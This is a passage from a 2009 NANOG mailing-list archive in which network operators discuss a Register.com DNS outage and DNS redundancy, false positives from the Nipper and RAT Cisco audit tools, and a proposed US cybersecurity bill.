ms > 4 207.88.183.141.ptr.us.xo.net (207.88.183.141) 84.817 ms 7.764 ms > 7.699 ms > 5 65.106.3.185.ptr.us.xo.net (65.106.3.185) 7.606 ms 7.634 ms 7.504 > ms > 6 206.111.0.54.ptr.us.xo.net (206.111.0.54) 31.458 ms 28.509 ms > 20.199 ms > 7 Vlan424.icore1.MLN-Miami.as6453.net (66.110.9.13) 48.740 ms 36.118 > ms 36.211 ms > 8 ix-6-2.icore1.MLN-Miami.as6453.net (66.110.9.54) 36.328 ms 36.851 > ms 36.334 ms > 9 * * * > 10 blackhole.prolexic.com (209.200.132.42) 36.127 ms 36.136 ms 36.298 > ms 11 * > Notice: blackhole.prolexic.com blackhole =! routing issue or blackhole = routing issue Technically, both are correct. :-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ1m0sq1pz9mNUZTMRAhJrAJwI437Klcg0joD8ZF1qRLhPQaC4jQCg7CoR ynmlfRuPl7oOSX8aCFzMm1A= =lJCm -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From sethm at rollernet.us Fri Apr 3 15:13:53 2009 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 03 Apr 2009 13:13:53 -0700 Subject: Register.com DNS hosting issues In-Reply-To: <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> Message-ID: <49D66E01.6060502@rollernet.us> Jeffrey Negro wrote: > No ETA given to me, just the stock line of "We apologize.. blah blah... > as soon as possible.. blah blah." > This is probably a good time to remind the uninitiated to have some secondary DNS with a totally separate company if your DNS is that important to you. ~Seth From crpopovi at nauticom.net Fri Apr 3 15:15:32 2009 From: crpopovi at nauticom.net (Clinton Popovich) Date: Fri, 3 Apr 2009 16:15:32 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <6cd462c00904031310y2221dec1v4b5e87e7b68b5189@mail.gmail.com> Message-ID: <200904032015.n33KFWep063503@outbound.mail.nauticom.net> Actually I found out prolexic is a DDos filter. We fixed the issue by routing their DNS traffic out another backbone, so far so good. -----Original Message----- From: Paul Ferguson [mailto:fergdawgster at gmail.com] Sent: Friday, April 03, 2009 4:11 PM To: Clinton Popovich Cc: nanog at nanog.org Subject: Re: Register.com DNS hosting issues -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Apr 3, 2009 at 12:52 PM, Clinton Popovich wrote: > > Looks like a routing issue to their DNS servers from here. > > traceroute to DNS020.C.REGISTER.COM (216.21.235.20), 64 hops max, 40 byte > packets > 1 c28.134.nauticom.net (209.195.134.28) 0.778 ms 0.894 ms 0.829 ms > 2 10.11.11.9 (10.11.11.9) 1.010 ms 0.799 ms 0.829 ms > 3 c246.134.nauticom.net (209.195.134.246) 1.271 ms 1.379 ms 1.350 ms > 4 207.88.183.141.ptr.us.xo.net (207.88.183.141) 84.817 ms 7.764 ms > 7.699 ms > 5 65.106.3.185.ptr.us.xo.net (65.106.3.185) 7.606 ms 7.634 ms 7.504 > ms > 6 206.111.0.54.ptr.us.xo.net (206.111.0.54) 31.458 ms 28.509 ms > 20.199 ms > 7 Vlan424.icore1.MLN-Miami.as6453.net (66.110.9.13) 48.740 ms 36.118 > ms 36.211 ms > 8 ix-6-2.icore1.MLN-Miami.as6453.net (66.110.9.54) 36.328 ms 36.851 > ms 36.334 ms > 9 * * * > 10 blackhole.prolexic.com (209.200.132.42) 36.127 ms 36.136 ms 36.298 > ms 11 * > Notice: blackhole.prolexic.com blackhole =! routing issue or blackhole = routing issue Technically, both are correct. :-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ1m0sq1pz9mNUZTMRAhJrAJwI437Klcg0joD8ZF1qRLhPQaC4jQCg7CoR ynmlfRuPl7oOSX8aCFzMm1A= =lJCm -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From baldwinmathew at gmail.com Fri Apr 3 15:26:14 2009 From: baldwinmathew at gmail.com (Matt Baldwin) Date: Fri, 3 Apr 2009 13:26:14 -0700 Subject: Register.com DNS hosting issues In-Reply-To: <6cd462c00904031310y2221dec1v4b5e87e7b68b5189@mail.gmail.com> References: <200904031952.n33JqJcJ057113@outbound.mail.nauticom.net> <6cd462c00904031310y2221dec1v4b5e87e7b68b5189@mail.gmail.com> Message-ID: <5c0303b00904031326j15c80f6aq19f79bd5bd145cfa@mail.gmail.com> Looks like we're seeing DNS queries succeeding again. Hopefully this time they'll stay up. :) -matt On Fri, Apr 3, 2009 at 1:10 PM, Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Fri, Apr 3, 2009 at 12:52 PM, Clinton Popovich > wrote: > >> >> Looks like a routing issue to their DNS servers from here. >> >> traceroute to DNS020.C.REGISTER.COM (216.21.235.20), 64 hops max, 40 byte >> packets >> ?1 ?c28.134.nauticom.net (209.195.134.28) ?0.778 ms ?0.894 ms ?0.829 ms >> ?2 ?10.11.11.9 (10.11.11.9) ?1.010 ms ?0.799 ms ?0.829 ms >> ?3 ?c246.134.nauticom.net (209.195.134.246) ?1.271 ms ?1.379 ms ?1.350 ms >> ?4 ?207.88.183.141.ptr.us.xo.net (207.88.183.141) ?84.817 ms ?7.764 ms >> 7.699 ms >> ?5 ?65.106.3.185.ptr.us.xo.net (65.106.3.185) ?7.606 ms ?7.634 ms ?7.504 >> ms >> ?6 ?206.111.0.54.ptr.us.xo.net (206.111.0.54) ?31.458 ms ?28.509 ms >> 20.199 ms >> ?7 ?Vlan424.icore1.MLN-Miami.as6453.net (66.110.9.13) ?48.740 ms ?36.118 >> ms 36.211 ms >> ?8 ?ix-6-2.icore1.MLN-Miami.as6453.net (66.110.9.54) ?36.328 ms ?36.851 >> ms 36.334 ms >> ?9 ?* * * >> 10 ?blackhole.prolexic.com (209.200.132.42) ?36.127 ms ?36.136 ms ?36.298 >> ms 11 ?* >> > > Notice: > > ?blackhole.prolexic.com > > blackhole =! routing issue ? or blackhole = routing issue > > Technically, both are correct. :-) > > - - ferg > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.5.3 (Build 5003) > > wj8DBQFJ1m0sq1pz9mNUZTMRAhJrAJwI437Klcg0joD8ZF1qRLhPQaC4jQCg7CoR > ynmlfRuPl7oOSX8aCFzMm1A= > =lJCm > -----END PGP SIGNATURE----- > > > > -- > "Fergie", a.k.a. Paul Ferguson > ?Engineering Architecture for the Internet > ?fergdawgster(at)gmail.com > ?ferg's tech blog: http://fergdawg.blogspot.com/ > > From charles at thewybles.com Fri Apr 3 15:31:33 2009 From: charles at thewybles.com (Charles Wyble) Date: Fri, 03 Apr 2009 13:31:33 -0700 Subject: Register.com DNS hosting issues In-Reply-To: <49D66E01.6060502@rollernet.us> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> Message-ID: <49D67225.7000400@thewybles.com> Seth Mattinen wrote: > Jeffrey Negro wrote: >> No ETA given to me, just the stock line of "We apologize.. blah blah... >> as soon as possible.. blah blah." >> > > This is probably a good time to remind the uninitiated to have some > secondary DNS with a totally separate company if your DNS is that > important to you. Preferably with a provider that announces out of multiple ASN :) AT&T and Akami both provide good distributed DNS service. I imagine there are other carriers, but I can't comment on them as I haven't used them. From jared at puck.nether.net Fri Apr 3 15:57:53 2009 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 3 Apr 2009 16:57:53 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <49D67225.7000400@thewybles.com> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> Message-ID: <20090403205753.GB52383@puck.nether.net> On Fri, Apr 03, 2009 at 01:31:33PM -0700, Charles Wyble wrote: > > > Seth Mattinen wrote: >> Jeffrey Negro wrote: >>> No ETA given to me, just the stock line of "We apologize.. blah blah... >>> as soon as possible.. blah blah." >>> >> >> This is probably a good time to remind the uninitiated to have some >> secondary DNS with a totally separate company if your DNS is that >> important to you. > > > Preferably with a provider that announces out of multiple ASN :) > > AT&T and Akami both provide good distributed DNS service. I imagine > there are other carriers, but I can't comment on them as I haven't used > them. if you want secondary dns via ghetto cgi, you can get it here: http://puck.nether.net/dns/ - jared -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From ip at ioshints.info Fri Apr 3 16:00:19 2009 From: ip at ioshints.info (Ivan Pepelnjak) Date: Fri, 3 Apr 2009 23:00:19 +0200 Subject: BGP and ios upgrade question In-Reply-To: <1238784336.4361.38.camel@ping01> References: <1238784336.4361.38.camel@ping01> Message-ID: <000001c9b49f$332a4de0$0a00000a@nil.si> > According to Cisco feature navigator, ios version 12.4(24)T > (c1841-ipbasek9-mz.124-24.T.bin) can run in the 1841 and > supports BGP (note that feature set is IPBASE): > > 1) It is common that a version with an IPBASE feature set > supports BGP (some docs says that bgp support is included in > "SP" services feature set)? Moving BGP into the IP Base feature set is a recent change. http://6200networks.com/2008/06/02/bgp-support-on-isr/ > 2) Will ios version 12.4(24)T run OK in the 1841? > I think the response will be YES because Cisco feature > navigator says that it is supported and the router has the > DRAM and FLASH needed by 14.4(24)T. Yes. Although I wouldn't necessarily use 12.4(24)T, the latest maintenance build of 12.4(15)T should be more stable. http://6200networks.com/2008/09/23/extended-support-for-cisco-ios-software%C 2%AE-release-12415t/ > 3) Must the customer pay in order to download 12.4(24)T or he > can download if he has a valid Cisco maintenance contract for > that router? It's my understanding that you can download any software of the feature set you're entitled to use if you have SmartNet. Hope it helps Ivan http://www.ioshints.info/about http://blog.ioshints.info/ From randy at psg.com Fri Apr 3 16:24:35 2009 From: randy at psg.com (Randy Bush) Date: Sat, 04 Apr 2009 06:24:35 +0900 Subject: Register.com DNS hosting issues In-Reply-To: <49D66E01.6060502@rollernet.us> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> Message-ID: > This is probably a good time to remind the uninitiated to have some > secondary DNS with a totally separate company if your DNS is that > important to you. someone should write an rfc on that randy From jmamodio at gmail.com Fri Apr 3 17:38:43 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 3 Apr 2009 17:38:43 -0500 Subject: Register.com DNS hosting issues In-Reply-To: References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> Message-ID: <202705b0904031538o3c3133en6c666f39d0e30c84@mail.gmail.com> > someone should write an rfc on that why not read the one you wrote, it's just 12 years old cheers jorge From smb at cs.columbia.edu Fri Apr 3 17:47:54 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Fri, 3 Apr 2009 18:47:54 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <202705b0904031538o3c3133en6c666f39d0e30c84@mail.gmail.com> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <202705b0904031538o3c3133en6c666f39d0e30c84@mail.gmail.com> Message-ID: <20090403184754.3cbf86eb@cs.columbia.edu> On Fri, 3 Apr 2009 17:38:43 -0500 Jorge Amodio wrote: > > someone should write an rfc on that > > why not read the one you wrote, it's just 12 years old > "We don't read. Very few system developers are familiar with work done outside of their own project." --Peter Neumann, "The Role of Motherhood in the Pop Art of System Programing", ACM Symposium on Operating Systems Principles, 1969, http://www.multicians.org/pgn-motherhood.html --Steve Bellovin, http://www.cs.columbia.edu/~smb From castellan2004-nsm at yahoo.com Fri Apr 3 21:42:38 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Fri, 3 Apr 2009 19:42:38 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <897202.72354.qm@web30803.mail.mud.yahoo.com> I did see a few false positives too with Nipper.? What do you think about Router Audit Tool (RAT) instead?? I downloaded ncat (aka RAT), but it does not have a global configuration file which I can use for all the routers and switches I have.? Any tips on ncat/RAT configuration?? I could not find any examples on using ncat. Subba Rao --- On Fri, 4/3/09, Christopher wrote: From: Christopher Subject: Re: Nipper and Cisco configuration results To: "nanog" Date: Friday, April 3, 2009, 12:36 PM On Thu, 2009-04-02 at 15:33 -0700, Subba Rao wrote: > I am using Nipper for verifying my Cisco configuration.? Nipper is >? finding the "rlogin" service that is not in the configuration.? I have >? searched the access lists and do not see it anywhere.? The explanation >? by Nipper about this finding, "....Telnet protocol implemented by this >? service...." is confusing. The problem, IMHO, is nipper.? You might or might not have the rlogin service enabled, but nipper has so many false positives I find is almost useless.? In my case, it caught some obvious things I had forgotten to do, but everything else was useless.? For instance from the nipper source code: struct vulnerability report_vuln_ios11 = {9, 0, 0, 12, 4, 0, ? ? ? ? ? ? ? ? ? ? ? ? ? "CVE-2007-0479", "22208", ? ? ? ? ? ? ? ? ? ? ? ? ? "IPv4 TCP listener denial of service", ? ? ? ? ? ? ? ? ? ? ? ? ? true, false, ? ? ? ? ? ? ? ? ? ? ? ? ? vuln_req_none, false, &report_vuln_ios12}; What the above means to nipper is any IOS version 12.0.x, 12.1.x, 12.2.x, 12.3.x is vulnerable, while every 12.4.x version is OK.? This is obviously false on *both* counts.? http://www.cisco.com/en/US/products/products_security_advisory09186a00807cb0e4.shtml I spent a lot of time trying to explain this to $corporate audit guy that had never even logged into a router, let alone had to choose a stable IOS version for 6500/7600 class hardware. >???Here is the Nipper's output: > > Thank you in advance for any help. > > Subba Rao -- Christopher McCrory "The guy that keeps the servers running" chrismcc at pricegrabber.com http://www.pricegrabber.com To the optimist, the glass is half full. To the pessimist, the glass is half empty. To the engineer, the glass is twice as big as it needs to be. From young at jsyoung.net Sat Apr 4 04:03:49 2009 From: young at jsyoung.net (Jeff Young) Date: Sat, 4 Apr 2009 05:03:49 -0400 Subject: Wow, just when you though big government was someone else's problem Message-ID: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> This comes from Lauren Weinstein's list and it's worth a read. It's a bill introduced into legislation, who knows where and when and if it will become law but, wow. http://lauren.vortex.com/Cyber-S-2009.pdf I'll just give you a teaser: SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. 3 (a) INGENERAL.?Within 3 years after the date of 4 enactment of this Act, the Assistant Secretary of Com- 5 merce for Communications and Information shall develop 6 a strategy to implement a secure domain name addressing 7 system. The Assistant Secretary shall publish notice of the 8 system requirements in the Federal Register together with 9 an implementation schedule for Federal agencies and in- 10 formation systems or networks designated by the Presi- 11 dent, or the President?s designee, as critical infrastructure 12 information systems or networks. 13 Other pearls of wisdom: the government will license all "cyber" security folks and you don't work on government or "any network deemed by the president to be critical infrastructure" without one. If only we knew: to achieve a secure DNS all you need to do is publish a notice in the Federal Register. jy From ops.lists at gmail.com Sat Apr 4 05:46:24 2009 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Sat, 4 Apr 2009 16:16:24 +0530 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: > This comes from Lauren Weinstein's list and it's worth a read. > It's a bill introduced into legislation, who knows where and when > and if it will become law but, wow. > > http://lauren.vortex.com/Cyber-S-2009.pdf Relying on Lauren to hear about cybersecurity related news is like relying on Fox News for an accurate picture of what Obama is doing. Ignore. > I'll just give you a teaser: > > SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. There's more than enough government supported work going on that promotes DNSSEC, in case you're not aware? > Other pearls of wisdom: ?the government will license all "cyber" security > folks and you don't work on government or "any network deemed by > the president to be critical infrastructure" without one. Do you by any chance get to go work on sensitive government networks without, say, a security clearance? --srs From castellan2004-nsm at yahoo.com Sat Apr 4 06:21:19 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Sat, 4 Apr 2009 04:21:19 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <983923.10769.qm@web30807.mail.mud.yahoo.com> I looked at the configurations yesterday on the routers.? The vty line does not have any "transport" line below it.? All the routers showing "Rlogin enabled" have similar configuration. What are the default services that are enabled for vty on IOS 12.4?? I know there are only telnet, SSH and Rlogin.? Is there any particular sequence that IOS processes the vty access? Subba Rao --- On Thu, 4/2/09, Lee wrote: From: Lee Subject: Re: Nipper and Cisco configuration results To: castellan2004-nsm at yahoo.com Cc: nanog at nanog.org Date: Thursday, April 2, 2009, 11:31 PM On 4/2/09, Subba Rao wrote: > I am using Nipper for verifying my Cisco configuration.? Nipper is finding > the "rlogin" service that is not in the configuration.? I have searched the > access lists and do not see it anywhere.? The explanation by Nipper about > this finding, "....Telnet protocol implemented by this service...." is > confusing.? Here is the Nipper's output: ? <..snip ..> > Can someone explain why Nipper is saying "Rlogin is enabled" when I do not > see it in the configuration file?? Is there something else that I need to be > looking at? I played with it a bit - removing the "transport input telnet" on a vty line got me the rlogin service is enabled.? Add it back & nipper says it's disabled... Do you have a "transport input telnet" on each vty?? If not, does adding it fix the nipper report? Regards, Lee From ler762 at gmail.com Sat Apr 4 09:05:47 2009 From: ler762 at gmail.com (Lee) Date: Sat, 4 Apr 2009 10:05:47 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <897202.72354.qm@web30803.mail.mud.yahoo.com> References: <897202.72354.qm@web30803.mail.mud.yahoo.com> Message-ID: On 4/3/09, Subba Rao wrote: > > I did see a few false positives too with Nipper. What do you think about > Router Audit Tool (RAT) instead? RAT is the approved IOS security audit tool at $work, so it doesn't matter what I think about it :) But it is fairly nice ... as long as you keep in mind it's limitations. I looked at Nipper a while back; it had some nice features but not enough to keep me from uninstalling it. The problem I have with both RAT and Nipper is they're geared towards security and I'm more interested in verifying that the routers are configured correctly. What kind of tools are people using for that? For an example of the type of thing I'm interested in, see filter_audit in the presentation at http://www.nanog.org/mtg-0210/abley.html > I downloaded ncat (aka RAT), but it does > not have a global configuration file which I can use for all the routers and > switches I have. Works for me.. just remember that RAT is pretty old & fails miserably on things like 6500s that are both routers and switches. So figure out what's common to all your routers and configure RAT to check that set of parameters. Then create another RAT config for L2/L3 switches that doesn't check as much (eg. don't check for proxy-arp being disabled) Regards, Lee From ler762 at gmail.com Sat Apr 4 09:20:22 2009 From: ler762 at gmail.com (Lee) Date: Sat, 4 Apr 2009 10:20:22 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <983923.10769.qm@web30807.mail.mud.yahoo.com> References: <983923.10769.qm@web30807.mail.mud.yahoo.com> Message-ID: On 4/4/09, Subba Rao wrote: > I looked at the configurations yesterday on the routers. The vty line does > not have any "transport" line below it. All the routers showing "Rlogin > enabled" have similar configuration. > > What are the default services that are enabled for vty on IOS 12.4? I know > there are only telnet, SSH and Rlogin. Is there any particular sequence > that IOS processes the vty access? I think a better question would be "What services do I need on the vtys and how do I assure that only those services are enabled?" but see http://www.cisco.com/en/US/docs/ios/termserv/command/reference/tsv_s1.html#transport_input Regards, Lee From young at jsyoung.net Sat Apr 4 11:17:21 2009 From: young at jsyoung.net (Jeff Young) Date: Sat, 4 Apr 2009 12:17:21 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: Read it again. It says all government networks and any network the president deems vital, I'd have to assume that would at least be all of the major backbones. What's the point of picking on the source of the information? Sure his list is moderated and a bit self-serving, that's why you read from the source. And yes, I am aware of a number of activities inside the Fed Gov around secure DNS, while I applaud them for making a first step, an effective total effort will not come via government procurement. Or aren't you aware? jy On Apr 4, 2009, at 6:46, Suresh Ramasubramanian wrote: > On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: >> This comes from Lauren Weinstein's list and it's worth a read. >> It's a bill introduced into legislation, who knows where and when >> and if it will become law but, wow. >> >> http://lauren.vortex.com/Cyber-S-2009.pdf > > Relying on Lauren to hear about cybersecurity related news is like > relying on Fox News for an accurate picture of what Obama is doing. > Ignore. > >> I'll just give you a teaser: >> >> SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. > > There's more than enough government supported work going on that > promotes DNSSEC, in case you're not aware? > >> Other pearls of wisdom: the government will license all "cyber" >> security >> folks and you don't work on government or "any network deemed by >> the president to be critical infrastructure" without one. > > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? > > --srs > From bambenek at gmail.com Sat Apr 4 11:22:28 2009 From: bambenek at gmail.com (John Bambenek) Date: Sat, 04 Apr 2009 11:22:28 -0500 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: <49D78944.7050904@gmail.com> Suresh Ramasubramanian wrote: > On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: > >> This comes from Lauren Weinstein's list and it's worth a read. >> It's a bill introduced into legislation, who knows where and when >> and if it will become law but, wow. >> >> http://lauren.vortex.com/Cyber-S-2009.pdf >> > > Relying on Lauren to hear about cybersecurity related news is like > relying on Fox News for an accurate picture of what Obama is doing. > Ignore. > Personally, I always read press releases from the White House and take that as absolute fact. You can't trust people to give you accurate information if they aren't completely subservient to the agenda. >> I'll just give you a teaser: >> >> SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. >> > > There's more than enough government supported work going on that > promotes DNSSEC, in case you're not aware? > > >> Other pearls of wisdom: the government will license all "cyber" security >> folks and you don't work on government or "any network deemed by >> the president to be critical infrastructure" without one. >> > > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? > > --srs > > From ops.lists at gmail.com Sat Apr 4 11:38:16 2009 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Sat, 4 Apr 2009 22:08:16 +0530 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: On Sat, Apr 4, 2009 at 9:47 PM, Jeff Young wrote: > Read it again. ?It says all government networks and any network the > president deems vital, I'd have to assume that would at least be all of the > major backbones. Deeming something vital / critical has a whole lot of extra baggage attached to it. Check out for example the OECD surveys on critical information infrastructure. a. http://www.oecd.org/dataoecd/49/28/40839436.pdf - OECD Seoul Declaration for the Future of the Internet Economy, b. http://www.oecd.org/dataoecd/25/10/40761118.pdf - comparative study of CIIP in OECD economies (Australia, Canada, Korea, Japan, The Netherlands, the United Kingdom and the United States) --srs From beckman at angryox.com Sat Apr 4 14:05:09 2009 From: beckman at angryox.com (Peter Beckman) Date: Sat, 4 Apr 2009 15:05:09 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <49D67225.7000400@thewybles.com> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> Message-ID: On Fri, 3 Apr 2009, Charles Wyble wrote: >> This is probably a good time to remind the uninitiated to have some >> secondary DNS with a totally separate company if your DNS is that >> important to you. > > Preferably with a provider that announces out of multiple ASN :) > > AT&T and Akami both provide good distributed DNS service. I imagine there are > other carriers, but I can't comment on them as I haven't used them. I can highly recommend DNSmadeEasy.com. Inexpensive, Anycasted, always fast and reliable. Good for primary and/or secondary, IMO, though it is sage advice to use two different providers if you are super ultra serious about never being down. --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From brandon.galbraith at gmail.com Sat Apr 4 14:11:50 2009 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Sat, 4 Apr 2009 14:11:50 -0500 Subject: Register.com DNS hosting issues In-Reply-To: References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> Message-ID: <366100670904041211i455e8458i5ce0774438f3caa5@mail.gmail.com> On Sat, Apr 4, 2009 at 2:05 PM, Peter Beckman wrote: > On Fri, 3 Apr 2009, Charles Wyble wrote: > > This is probably a good time to remind the uninitiated to have some >>> secondary DNS with a totally separate company if your DNS is that >>> important to you. >>> >> >> Preferably with a provider that announces out of multiple ASN :) >> >> AT&T and Akami both provide good distributed DNS service. I imagine there >> are other carriers, but I can't comment on them as I haven't used them. >> > > I can highly recommend DNSmadeEasy.com. Inexpensive, Anycasted, always > fast and reliable. Good for primary and/or secondary, IMO, though it is > sage advice to use two different providers if you are super ultra serious > about never being down. > Seconded. We use DNSmadeeasy as a primary for quite a few domains, but also have had good luck with DynDNS as well. -brandon > > --------------------------------------------------------------------------- > Peter Beckman Internet Guy > beckman at angryox.com > http://www.angryox.com/ > --------------------------------------------------------------------------- > > -- Brandon Galbraith Voice: 630.400.6992 Email: brandon.galbraith at gmail.com From fw at deneb.enyo.de Sat Apr 4 16:41:51 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 04 Apr 2009 23:41:51 +0200 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> (Jeff Young's message of "Sat, 4 Apr 2009 05:03:49 -0400") References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: <87r608w0yo.fsf@mid.deneb.enyo.de> * Jeff Young: > If only we knew: to achieve a secure DNS all you need to do is > publish a notice in the Federal Register. In the end, this is how we got many of our (non-public-key) cryptographic algorithms, and people seem to be quite happy about them. From fw at deneb.enyo.de Sat Apr 4 17:30:51 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Sun, 05 Apr 2009 00:30:51 +0200 Subject: Register.com DNS hosting issues In-Reply-To: (Peter Beckman's message of "Sat, 4 Apr 2009 15:05:09 -0400") References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> Message-ID: <874ox4vyp0.fsf@mid.deneb.enyo.de> * Peter Beckman: > I can highly recommend DNSmadeEasy.com. Inexpensive, Anycasted, always > fast and reliable. Good for primary and/or secondary, IMO, though it is > sage advice to use two different providers if you are super ultra serious > about never being down. Or put some of your DNS servers on the same connectivity as your main services. After all, DNS is not an end in itself for most people. Running some of the servers yourself makes sure those are available even if some other customer at your DNS provider is DoSed, taking the entire DNS provider out at the same time. (Speaking in general, not about specific cases.) And if you're the DoS target, ultra-resilient DNS will simply cause the attackers to pick some other weakness of your setup. IMHO, fate-sharing as a strategy for increasing availability is somewhat underrated. From randy at psg.com Sat Apr 4 17:41:12 2009 From: randy at psg.com (Randy Bush) Date: Sun, 05 Apr 2009 07:41:12 +0900 Subject: Register.com DNS hosting issues In-Reply-To: <874ox4vyp0.fsf@mid.deneb.enyo.de> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> <874ox4vyp0.fsf@mid.deneb.enyo.de> Message-ID: > IMHO, fate-sharing as a strategy for increasing availability is > somewhat underrated. from rfc 2182 3.3. A Myth Exploded An argument is occasionally made that there is no need for the domain name servers for a domain to be accessible if the hosts in the domain are unreachable. This argument is fallacious. + Clients react differently to inability to resolve than inability to connect, and reactions to the former are not always as desirable. + If the zone is resolvable yet the particular name is not, then a client can discard the transaction rather than retrying and creating undesirable load on the network. + While positive DNS results are usually cached, the lack of a result is not cached. Thus, unnecessary inability to resolve creates an undesirable load on the net. + All names in the zone may not resolve to addresses within the detached network. This becomes more likely over time. Thus a basic assumption of the myth often becomes untrue. It is important that there be nameservers able to be queried, available always, for all forward zones. randy From fw at deneb.enyo.de Sat Apr 4 18:02:06 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Sun, 05 Apr 2009 01:02:06 +0200 Subject: Register.com DNS hosting issues In-Reply-To: (Randy Bush's message of "Sun, 05 Apr 2009 07:41:12 +0900") References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> <874ox4vyp0.fsf@mid.deneb.enyo.de> Message-ID: 